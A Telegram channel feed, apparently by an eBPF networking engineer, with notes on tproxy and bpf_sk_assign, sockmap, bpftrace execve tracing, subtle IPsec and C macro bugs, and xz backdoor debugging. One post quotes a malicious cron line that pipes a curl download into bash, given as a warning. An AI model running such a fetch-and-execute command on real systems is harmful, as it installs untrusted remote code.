Welcome to the Black Parade
617 subscribers
510 photos
4 videos
8 files
242 links
Death has many faces, I look forward to seeing this one.
Download Telegram
1. 我发现 tcp_early_demux 是跳过路由决策的,这不就正是我想要的吗!只要照抄一下,让 bpf_sk_assign 里也 skb_dst_set_noref(skb, sk->sk_rx_dst) 不就万事大基了嘛!

2. 我发现 skb->nf_skip_egress 可以在 egress 方向跳过 nf,我们只需要加个 helper 在 tc 修改这个值不就万事大鸡了吗!要是有 nf_skip_ingress 就更好了 (

3. 我发现 redirect_map 可以跨越 netns,那以后从 host 进 netns 还走什么 veth,直接空投到 lo 不就万事大G了嘛!不过我开始理解我同事说 XDP 性能可能比 tc 更糟,因为一旦要 tailcall 切分复杂度或者 redirect,xdp_md 没有字段可以夹带私货,只能放 PERCPU array,简直弱智。

4. 我发现我完全不懂 IPv6 邻居系统,只会 ip -6 n a xxx nud permanent 和 bpf 反弹 icmp6 两招。不像 v4,一个 ip r a default dev lo,二层不就万事大寄了吗!
好消息:我人生第三把hhkb到了

坏消息:蓝牙连不上Ubuntu2204

好消息:幸好还可以用数据线连

坏消息:花钱买体验降级

好消息:公司报销

坏消息:清关税不报销

总之,让我欢喜让我忧😭就请你给我多一点点空间再多一点点温柔,不要让我如此难受。
🤣41👍1
莫名其妙忙起来了,随便记点免得忘了:

1. tproxy / bpf_sk_assign 对 established tcp 的性能影响是负的,因为设置上 skb->sk 会让 ip_rcv_core 里的 tcp_early_demux 检测失败,从而必须进路由系统。所以正确使用方法是只对 tcp syn 使用 tproxy/sk_assign。

2. 能不能优化 bpf_sk_assign,让它对 listening socket 的 assign 也能像 tcp_early_demux 一样?不能,因为 listening tcp socket 的 sk->sk_rx_dst 是 null,只有 established sk 才有这个 dst。

3. tcpdump ip6 and tcp 生成的 cbpf 是“错的”。它没考虑 ip6 extension。但是 tcpdump (libpcap) 有个对 v6 特别的过滤器: ip6 protochain 6 , 就迭代了 ip6 extension,四次,但是对大部分场景也够用。

4. 晦涩的逻辑。icmp6_host_handle 这个函数名看起来没啥,但是要是我告诉你它实际语义是:只需要在 ( ingress 方向) 或者 (防火墙启动时候的双向) 执行它,如果在 ingress 方向执行的时候不要反弹 icmp6,如果要反弹 icmp6 的话不要反弹 NS for node IP,但是也不要直接返回给内核栈而是继续执行剩余的 nodeport lb。我看着这个原本简单的函数从两个参数变成现在的五个,里外的 #ifdef 嵌套层层恐惧,真是美好的软件。
👍1😢1
我其实都不记得从几岁开始,反正每次去姨妈家就看哥哥的龙珠漫画,一看一下午,看了一遍又一遍,虽然弗利萨篇章少了几个单行本,但没人比我更懂沙鲁游戏和魔人布欧。很多年后我才知道布欧原来是粉色的,沙鲁是 Cell 细胞而且浑身都是洞,有点恶心。

我长大了还是爱看漫画,鸟山明虽然去世但是龙珠作为人类文化遗产永远不会消失,我在这时候其实更想问一句少有人关心但永不可能有回答的问题:鸟山明,你为人类文明做了杰出贡献、影响了数十亿人且还会继续影响下去,但是你这一生过得开心吗?

我这一生过得开心吗?
😢6
尝试了 BPF_MAP_TYPE_SOCKHASH + BPF_PROG_TYPE_SK_MSG,太吓人了,skb 消失术,avg-latency 从 36.889 (std-dev=7.025) 下降到 33.000 (std-dev=7.367) ,-10%

唯一的问题是只能对 tcp 做加速且不能加速握手,所以如果握手时经过了 POSTROUTING 被 masq 会导致被动链接端查不到主动连接的 sk。

对网络观测的能力也提出了新的要求,现在连 skb 都不产生了,直接 like a pipe 互相拷贝,吓人。
希望大家永远不要用到这个功能,因为做 backport 会变得不幸: https://git-scm.com/book/en/v2/Git-Tools-Rerere

git config --global rerere.enabled true


This enables rerere (”reuse recovered resolution”), which remembers how you resolved merge conflicts during a git rebase and automatically resolves conflicts for you when it can.

不过 rerere 这名字我还是很喜欢的,蓝蓝路的萌感。
👍5🙏2
我一周内被同事连续忽悠去 kubecon 和 lpc 演讲是怎么回事。。。恐怖的支线任务,好比 xcom2 的外星人报复行动、神界原罪2的肇事者洞穴、废土3的野外遭遇战、气球塔防6的领土模式,都主打一个恶心、难打、高付出、低收益,任何一个神志清醒的人都不会自愿去干那种事,就算去都是捏着鼻子去完成主人的任务,还必须让公司报销。

以上是内向+高敏感精神病人的扭曲世界观,匿了。首先祝愿 cfp 不被接受,那就万事大吉,速通大结局。
5
https://github.com/cilium/ebpf/pull/1257

我已经迫不及待要用 ubuntu 2404,目前可公开的情报是 2404 会默认打开 CONFIG_NETKIT
我最近工作内容一览:

1. 检查 5 个分支上的 CI 运行情况
2. 仔细检查失败的 CI,下载 sysdump,推敲是否因为自己 PR 导致。此步骤是因为我司精妙的 CI 测试有过多“假阳性”,没人知道为什么会出错,本地无法复现,虔诚地重试两三次就又变好了。当然也可能混杂着真实的 bug,所以需要借我一双慧眼。
3. 如果感觉不是自己 PR 导致的 CI 失败,点击 Re-run failed jobs。要虔诚,要念念有词。
4. 新一轮 CI rerun 结果,大概会耗时 40min ~ 1h。此期间可以跑虚拟机尝试复现可能的 bug,或者打开乒乓球贴吧看大头被喷。周四的时候可以看海贼王最新话。也可以 review 同事代码, 反正无脑点 approve 就行了 还是要认真看的,偶尔需要拉下来运行试试。
5. 如果刷完贴吧 CI 还没跑完,可以做分支任务,比如我目前有另一个低优先级的 bug 要查。
6. goto step1,直到 CI 全绿或者下班。

面向 CI 编程,只要 CI 通过了就算合并了脏东西也没人怪你。这,就是纤毛 Enterprise.

(以上都是虚构,如有,纯属。)
麻了,一上班组领导给我说又进入紧急状态了,要我扔掉手上的活开始和另外的同事日夜倒班车轮战解决问题。

谢谢你,感谢有你,世界更美丽。
🥴2
黄老师 mozillazg 前几天问了一个有趣的问题,简化版是这样的:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int main() {
char *argv[] = { "/bin/ls", NULL };
if (fork() == 0) {
execve("/bin/ls", argv, NULL);
return EXIT_FAILURE;
}
}


问,为什么上面的 execve(2) 的参数不能被下面的 bpftrace 抓到

bpftrace -e 'tracepoint:syscalls:sys_enter_execve {printf("%s\n", str(args->filename));}'


让我们直接快进到答案,因为我也不会🤣尘 ssfdust 发现已经有人在 bpftrace 问过同样的问题,太长不看版本就是: bpf_probe_read_user 只能读到已经载入内存 (page-faulted into memory) 的数据,而上面代码直到 execve(2) 之时都还未读过 .rodata,未曾触发 page fault。这可以用 tracepoint:exceptions:page_fault* 来验证。

但是今天同事告诉我可以用另一个 hook 来避开这个问题: sched/sched_process_exec

tracepoint:sched:sched_process_exec
{
$task=curtask;
$arg_start=$task->mm->arg_start;
$arg_end=$task->mm->arg_end;
printf("%r\n", buf(uptr($arg_start), $arg_end-$arg_start));
}


当然上面代码过于简陋,你可能需要管道给 sed 's/\\x00/ /g' 把 \x00 换成空格才能有基本的可读性,同时注意 bpftrace buf() 函数有 BPFTRACE_MAX_STRLEN 限制会截断,其实并没有 bpftrace 自带的 execsnoop.bt 好用。除非有人用完整的 bpf,把 [task->mm->arg_start, task->mm->arg_end] 全部读到 percpu map,然后用正儿八经的内核态->用户态传递接口传大数据,而这就有点超越 bpftrace 的能力了。(bcc 可以)

其实过程中还发现了其他好玩的东西,让我自己玩明白了再说(

(感谢 mzz 教我从 task->mm->arg_start 读命令行,虽然他不在频道里(
👍8
Forwarded from ip6[53] = 2
重说一下计算用户态地址的算法,上面说得很乱。

1. gdb 看到 $rdi 是 0x2004,这是 elf_address
2. 运行 a.out,立刻检查 /proc/$pid/maps,得到内存映射关系,主要看起始的地址,记作 start_address (其实是分段映射的,凑合看吧)
3. 真实的用户态地址是 start_address + elf_offset,所以接下来计算 elf_offset
4. elf_offset = elf_address - text.Address + text.Offset,我们来检查 elf 的 .text section

$ readelf -S ./a.out | grep text -A1

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align

[16] .text PROGBITS 00000000000010c0 000010c0
0000000000000167 0000000000000000 AX 0 0 16


那个 00000000000010c0 和 00000000000010c0 就是 text.address 和 text.offset。 对于 gcc 和 c 这个多半是相同的,但是对于 go 就不同,所以要检查。

接下来可以计算了:

real_addr= start_addr + (elf_address - text.Address + text.Offset)
= 0x634e9df76000 + (0x2004 - 0x10c0 +0x10c0 )
= 0x634e9df78004

然后你用相同的办法 bpftrace 观测 page fault 事件,看到 args->address 就是上面算出的值。
4
那些肉眼很难看出的 bug 们

1. 从 k8s secret 里取一个数据出来,抠出数字,++,然后放回去,同时随机生成 key。

    KEYID=$(kubectl get secret -n kube-system cilium-ipsec-keys -o go-template --template={{.data.keys}} | base64 -d | cut -c 1)
if [[ $KEYID -ge 15 ]]; then KEYID=0; fi
data=$(echo "{\"stringData\":{\"keys\":\"$((($KEYID+1))) "rfc4106\(gcm\(aes\)\)" $(echo $(dd if=/dev/urandom count=20 bs=1 2> /dev/null| xxd -p -c 64)) 128\"}}")
kubectl patch secret -n kube-system cilium-ipsec-keys -p="${data}" -v=1


2. 输入 global key + src/dst node ip + src/dst boot id,生成 sha 摘要。

func computeNodeIPsecKey(globalKey, srcNodeIP, dstNodeIP, srcBootID, dstBootID []byte) []byte {
input := append(globalKey, srcNodeIP...)
input = append(input, dstNodeIP...)
input = append(input, srcBootID...)
input = append(input, dstBootID...)
output := sha256.Sum256(input)
return output[:len(globalKey)]
}

func deriveNodeIPsecKey(globalKey *ipSecKey, srcNodeIP, dstNodeIP net.IP, srcBootID, dstBootID string) *ipSecKey {
nodeKey := &ipSecKey{
Spi: globalKey.Spi,
ReqID: globalKey.ReqID,
ESN: globalKey.ESN,
}

if globalKey.Aead != nil {
nodeKey.Aead = &netlink.XfrmStateAlgo{
Name: globalKey.Aead.Name,
Key: computeNodeIPsecKey(globalKey.Aead.Key, srcNodeIP, dstNodeIP, []byte(srcBootID), []byte(dstBootID)),
ICVLen: globalKey.Aead.ICVLen,
}
}

return nodeKey
}


3. 一个 macro,拼 ipv6 128 位地址

#define DEFINE_IPV6(NAME, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16) \
DEFINE_U64_I(NAME, 1) = bpf_cpu_to_be64( \
(__u64)(a1) << 56 | (__u64)(a2) << 48 | (__u64)(a3) << 40 | \
(__u64)(a4) << 32 | (a5) << 24 | (a6) << 16 | (a7) << 8 | (a8)); \
DEFINE_U64_I(NAME, 2) = bpf_cpu_to_be64( \
(__u64)(a9) << 56 | (__u64)(a10) << 48 | (__u64)(a11) << 40 | \
(__u64)(a12) << 32 | (a13) << 24 | (a14) << 16 | (a15) << 8 | (a16));
Welcome to the Black Parade
那些肉眼很难看出的 bug 们 1. 从 k8s secret 里取一个数据出来,抠出数字,++,然后放回去,同时随机生成 key。 KEYID=$(kubectl get secret -n kube-system cilium-ipsec-keys -o go-template --template={{.data.keys}} | base64 -d | cut -c 1) if [[ $KEYID -ge 15 ]]; then KEYID=0; fi data=$(echo…
1. 第一行 KEYID 试图抠出一个数字,最后一个管道错了, echo '12 asdf' | cut -c 1 切出来的不是 12 而是 1 。 bug 存活时间:五个月。

2. net.IP 是 []byte,可能会用 [16]byte 存 IPv4,甚至可能用 IPv4-mapped IPv6 ("::ffff:192.0.2.1"),导致计算密钥的函数在看似相同入参的情况有不同的返回。同时 append 可能修改 globalKey。bug 存活时间:三个月。

3. a5 是 byte, <<24 之后变成 int32,如果这个 int32 最高位不幸是 1,和前面的 uint64 OR 操作会被 sign-extend 成高 32 位全是 1 的 uint64。具体来说, a5 本来是 0x88 , 二进制 0b10001000, <<24 后变成 0x88000000,和 u64 OR 被扩展成 0xffffffff88000000。bug 存活时间:六个月。

#include <stdio.h>
#include <stdint.h>

int main()
{
signed char a5 = 0x88;
printf("%llx, %llx\n", a5 << 24, (uint64_t)(a5 << 24)); // 88000000, ffffffff88000000
}
😱4
今天的事情大家都知道了,我说一个小细节, https://www.openwall.com/lists/oss-security/2024/03/29/4 里用 time 来测量耗时,其实这里就已经有信息量了。

注意看 real +0.5s,user 和 sys 不变,这意思是 用户态 on-cpu 和内核态 on-cpu 耗时不增加,那么总耗时增加只有一种可能: off-cpu,比如 IO 或者其他阻塞。

如果我是当事人观察到这个现象,我立刻尝试 strace -fTtt 观测 syscalls,期望的输出是有一些 syscall 耗时特别大,加起来正好等于 0.5s,ssh 进程正是阻塞在等待这些 syscall 返回上。

如果上一步成立,接下来运行 strace -k,观察是谁在调用这些慢 syscall。

原贴说了这个后门做了 gdb 防御,所以如果是检测 ptrace 的话不一定 strace 能观察到,所以只是一个想法,用在正常的软件 debug 还行。

作者也说了,他一开始是使用 perf record 来看性能,但是正如我在频道里多次说过,off-cpu 耗时不被 perf 采样,不可能看出问题。大家有这种经验之后就可以无脑跳过 perf 阶段。

最后作者说性能慢在加载一些额外的符号表,我猜测就是这一步加载符号表的 IO 导致的 +0.5s,可能就是一个 read(2) 之类的。

(说起来我自己的 ubuntu 桌面前几周还发现不知道何时被安装了一个 cron 任务在不断 curl xxx/cronb.sh | bash ,吓死了。大家没事可以运行 execsnoop 看看都有什么牛鬼蛇神在干坏事。)
👍2
大约凌晨三点半醒来
莫名其妙喝了一杯苏打
厌世气泡嗝出了一片绿林 微微不安
👍8
今天有人提到 Lasse Collin 对于 xz 项目早就疲惫不堪,Jia Tan 是极少数愿意真正贡献代码的“开发者”,这都是这场悲剧不可或缺的背景条件。

在无人关心的角落,Florian Westphal 最近辞去了内核 netfilter co-maintainer ("Mainly due to burnout"),所以现在 nf 只剩 Pablo Neira Ayuso 一人维护。这可是无数人每天使用的 netfilter。

在无人关心的角落,我最爱的工具之一 strace 依然只由一个捷克人 Dmitry V. Levin 默默维护。

在无人关心的角落,tcpdump/libpcap 在由 四人小组 the-tcpdump-group 持续更新,其中一位 Denis Ovsienko 的自我介绍是 sometimes I work jobs for living, sometimes I contribute pro bono to free and open source software projects, often I do both,给人一种很孤独的感觉。

在无人关心的角落,bash group 只有三位 active members,其中一位 Bob Proulx 有个古典博客,里面有记录他和妻子的平静生活。

我以前赞美人月神话,但我现在更关心默默无闻的开发者们,就像 vim 作者 Bram Moolenaar 一生没有和任何人建立亲密关系,我只想问,你这一生过得开心吗?

你们这些伟大的开发者们过得开心吗?
😢353👍1
思科入职礼物包。。。虽然我还没入职
🤩20👍6🥰1
我麻了, xdp->data_meta 夹带给 skb->data_meta 的功能在重定向的时候用不了。

u32 bpf_prog_run_generic_xdp(struct sk_buff *skb, struct xdp_buff *xdp,
struct bpf_prog *xdp_prog)
{
[...]
case XDP_PASS:
metalen = xdp->data - xdp->data_meta;
if (metalen)
skb_metadata_set(skb, metalen);
break;
}
[...]
}


之前的设计付之一炬,我的心二级烧伤 😭
所以我经常自嘲说自己只是一个 API boy 确实不假。靠想象做判断,靠目测做 perf,发现新的 API 就兴高采烈,至于这个 API 好还是不好连想都懒得想,更别说实际跑个 benchmark 看看数据。都说用十年学会编程 [1],而我至今不 “了解你的计算机要花多长时间执行一条指令,从内存中取一个字(有cache),从磁盘中读取连续的字, 和在磁盘中找到新的位置” ,我真棒😊

*[1]: http://daiyuwen.freeshell.org/gb/misc/21-days-cn.html
👍2